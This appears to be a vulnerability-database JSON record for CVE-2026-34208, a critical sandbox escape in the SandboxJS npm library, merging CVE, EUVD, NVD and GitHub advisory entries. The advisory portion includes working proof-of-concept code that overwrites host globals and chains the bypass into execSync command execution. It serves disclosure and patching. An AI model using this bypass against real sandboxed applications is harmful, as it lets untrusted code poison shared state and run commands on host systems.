{"id":"GHSA-2gg9-6p7w-6cpj","revision":null,"records":[{"revision":"33efaf1f263d4e22b2244877f489af4f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-34208","aliases":[],"title":"SandboxJS: Sandbox integrity escape","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process. This vulnerability is fixed in 0.8.36.","state":0,"publishedAt":"2026-04-06T15:09:28.219+00:00","modifiedAt":"2026-04-06T18:39:14.717+00:00","affected":[{"ecosystem":"Vendor product","name":"SandboxJS","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nyariv\",\n                    \"product\": \"SandboxJS\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.8.36\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L","score":10,"severity":"CRITICAL"}],"references":["https://github.com/nyariv/SandboxJS/security/advisories/GHSA-2gg9-6p7w-6cpj"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34208","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-34208","identifiers":["CVE-2026-34208"]},"retained":false,"historicalAffected":[]},{"revision":"bc83580f3c814d34aa7a0c826965ec00","observedAt":"2026-11-01T06:05:46.239+00:00","statement":{"source":"euvd","id":"EUVD-2026-19297","aliases":["CVE-2026-34208","GHSA-2gg9-6p7w-6cpj"],"title":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.cons…","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process. This vulnerability is fixed in 0.8.36.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L","score":10,"severity":null}],"references":["https://github.com/nyariv/SandboxJS/security/advisories/GHSA-2gg9-6p7w-6cpj"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-19297","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 6, 2026, 3:09:28 PM","dateUpdated":"Apr 6, 2026, 6:39:14 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-19297","identifiers":["EUVD-2026-19297","CVE-2026-34208","GHSA-2gg9-6p7w-6cpj"]},"retained":false,"historicalAffected":[]},{"revision":"a0b239e908c14a03a2293768bb934c07","observedAt":"2026-10-27T09:03:00.507+00:00","statement":{"source":"nvd","id":"CVE-2026-34208","aliases":[],"title":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.cons…","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process. This vulnerability is fixed in 0.8.36.","state":0,"publishedAt":"2026-04-06T16:16:34.58+00:00","modifiedAt":"2026-10-26T22:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L","score":10,"severity":"CRITICAL"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/nyariv/SandboxJS/security/advisories/GHSA-2gg9-6p7w-6cpj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34208","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-693","CWE-915"],"productCriteria":["cpe:2.3:a:nyariv:sandboxjs:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-04-06T16:16:34.580","lastModified":"2026-10-26T22:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-34208","identifiers":["CVE-2026-34208"]},"retained":false,"historicalAffected":[]},{"revision":"71e198fbb2fb49bb9ae9065889bd1af5","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-2gg9-6p7w-6cpj","aliases":["CVE-2026-34208"],"title":"SandboxJS: Sandbox integrity escape ","description":"### Summary\nSandboxJS blocks direct assignment to global objects (for example `Math.random = ...`), but this protection can be bypassed through an exposed callable constructor path: `this.constructor.call(target, attackerObject)`. Because `this.constructor` resolves to the internal `SandboxGlobal` function and `Function.prototype.call` is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.\n\n### Details\nThe intended safety model relies on write-time checks in assignment operations. In `assignCheck`, writes are denied when the destination is marked global (`obj.isGlobal`), which correctly blocks straightforward payloads like `Math.random = () => 1`.\n\nReference: [`src/executor.ts#L215-L218`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L215-L218)\n\n```ts\nif (obj.isGlobal) {\n  throw new SandboxAccessError(\n    `Cannot ${op} property '${obj.prop.toString()}' of a global object`,\n  );\n}\n```\n\nThe bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is `SandboxGlobal`, implemented as a function that copies all keys from a provided object into `this`.\n\nReference: [`src/utils.ts#L84-L88`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L84-L88)\n\n```ts\nexport const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {\n  for (const i in globals) {\n    this[i] = globals[i];\n  }\n} as any as SandboxGlobalConstructor;\n```\n\nAt runtime, global scope `this` is a `SandboxGlobal` instance (`functionThis`), so `this.constructor` resolves to `SandboxGlobal`. That constructor is reachable from sandbox code, and calls through `Function.prototype.call` are allowed by the generic call opcode path.\n\nReferences:\n- [`src/utils.ts#L118-L126`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L118-L126)\n- [`src/executor.ts#L493-L518`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L493-L518)\n\n```ts\nconst sandboxGlobal = new SandboxGlobal(options.globals);\n...\nglobalScope: new Scope(null, options.globals, sandboxGlobal),\n```\n\n```ts\nconst evl = context.evals.get(obj.context[obj.prop] as any);\nlet ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);\n```\n\nThis creates a privilege gap:\n1. Direct global mutation is blocked in assignment logic.\n2. A callable host function that performs arbitrary property writes is still reachable.\n3. The call path does not enforce equivalent global-mutation restrictions.\n4. Attacker-controlled code can choose the write target (`Math`, `JSON`, etc.) via `.call(target, payloadObject)`.\n\nIn practice, the payload:\n```js\nconst SG = this.constructor;\nSG.call(Math, { random: () => 'pwned' });\n```\noverwrites host `Math.random` successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.\n\n### PoC\nInstall dependency:\n\n```bash\nnpm i @nyariv/sandboxjs@0.8.35\n```\n\n#### Global write bypass with `pwned` marker\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst run = (code) => new Sandbox().compile(code)().run();\nconst original = Math.random;\n\ntry {\n  try {\n    run('Math.random = () => 1');\n    console.log('Without bypass (direct assignment): unexpectedly succeeded');\n  } catch (err) {\n    console.log('Without bypass (direct assignment): blocked ->', err.message);\n  }\n  run(`this.constructor.call(Math, { random: () => 'pwned' })`);\n  console.log('With bypass (host Math.random()):', Math.random());\n  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));\n} finally {\n  Math.random = original;\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -> Cannot assign property 'random' of a global object\nWith bypass (host Math.random()): pwned\nWith bypass (fresh sandbox Math.random()): pwned\n```\n\n`With bypass (host Math.random())` proves the sandbox changed host runtime state immediately.  \n`With bypass (fresh sandbox Math.random())` proves the mutation persists across new sandbox instances, which shows cross-execution contamination.\n\n#### Command `id` execution via host gadget\n\nThis second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX `id` command as a harmless execution marker.\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst { execSync } = require('child_process');\n\nconst run = (code) => new Sandbox().compile(code)().run();\nconst hadCmd = Object.prototype.hasOwnProperty.call(Math, 'cmd');\nconst originalCmd = Math.cmd;\n\ntry {\n  try {\n    run(`Math.cmd = 'id'`);\n    console.log('Without bypass (direct assignment): unexpectedly succeeded');\n  } catch (err) {\n    console.log('Without bypass (direct assignment): blocked ->', err.message);\n  }\n  run(`this.constructor.call(Math, { cmd: 'id' })`);\n  console.log('With bypass (host command source Math.cmd):', Math.cmd);\n  console.log(\n    'With bypass + host gadget execSync(Math.cmd):',\n    execSync(Math.cmd, { encoding: 'utf8' }).trim(),\n  );\n} finally {\n  if (hadCmd) {\n    Math.cmd = originalCmd;\n  } else {\n    delete Math.cmd;\n  }\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -> Cannot assign property 'cmd' of a global object\nWith bypass (host command source Math.cmd): id\nWith bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...\n```\n\n### Impact\nThis is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.","state":0,"publishedAt":"2026-04-03T21:44:39+00:00","modifiedAt":"2026-04-06T23:35:35.446815+00:00","affected":[{"ecosystem":"npm","name":"@nyariv/sandboxjs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.8.36"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/nyariv/SandboxJS/security/advisories/GHSA-2gg9-6p7w-6cpj","https://nvd.nist.gov/vuln/detail/CVE-2026-34208","https://github.com/nyariv/SandboxJS"],"sourceUrl":"https://github.com/advisories/GHSA-2gg9-6p7w-6cpj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2gg9-6p7w-6cpj","identifiers":["GHSA-2gg9-6p7w-6cpj","CVE-2026-34208"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-01T14:57:20.8260435+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-01T14:57:20.8260435+00:00","lastSuccessAt":"2026-11-01T14:57:20.9959229+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.9959241+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-aece262bb10a694367a43c24d730aa8e8dc171723eaec4c15cdd32f04bda103f-d531ae12fd03a30fe810f370dfdaee6d5ce6932749e1e8d224c6f881789a42e1","complete":true,"records":417653,"lastAttemptAt":"2026-11-01T14:57:20.4936635+00:00","lastSuccessAt":"2026-11-01T14:57:20.4630684+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.4936635+00:00","snapshotPublishedAt":"2026-11-01T14:28:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7a3763b612e249af8e21823e33cbf35e","complete":false,"records":13568,"lastAttemptAt":"2026-11-01T15:09:18.8870785+00:00","lastSuccessAt":"2026-11-01T15:09:18.883+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:09:18.883+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13449,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-01T14:57:20.8260435+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-01T14:57:20.8260435+00:00","lastSuccessAt":"2026-11-01T14:57:20.9969402+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.9969412+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-6f777ca48c9f4a26b09cd3abcf1e29ef","complete":true,"records":13580,"lastAttemptAt":"2026-11-01T14:57:28.522156+00:00","lastSuccessAt":"2026-11-01T14:57:28.517+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:28.517+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-01T14:57:20.7705737+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.7705737+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-01T14:57:20.5439977+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.5439977+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-11-01T14:57:20.7877402+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.7877402+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-55acacd40a7aab88cf530cfddf98233a5d800cfc6bb1883653ecf5bee50f4426","complete":true,"records":230996,"lastAttemptAt":"2026-11-01T14:57:20.6511816+00:00","lastSuccessAt":"2026-11-01T09:06:49.6961926+00:00","error":null,"lastVerifiedAt":"2026-11-01T14:57:20.6511816+00:00","snapshotPublishedAt":"2026-11-01T08:33:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}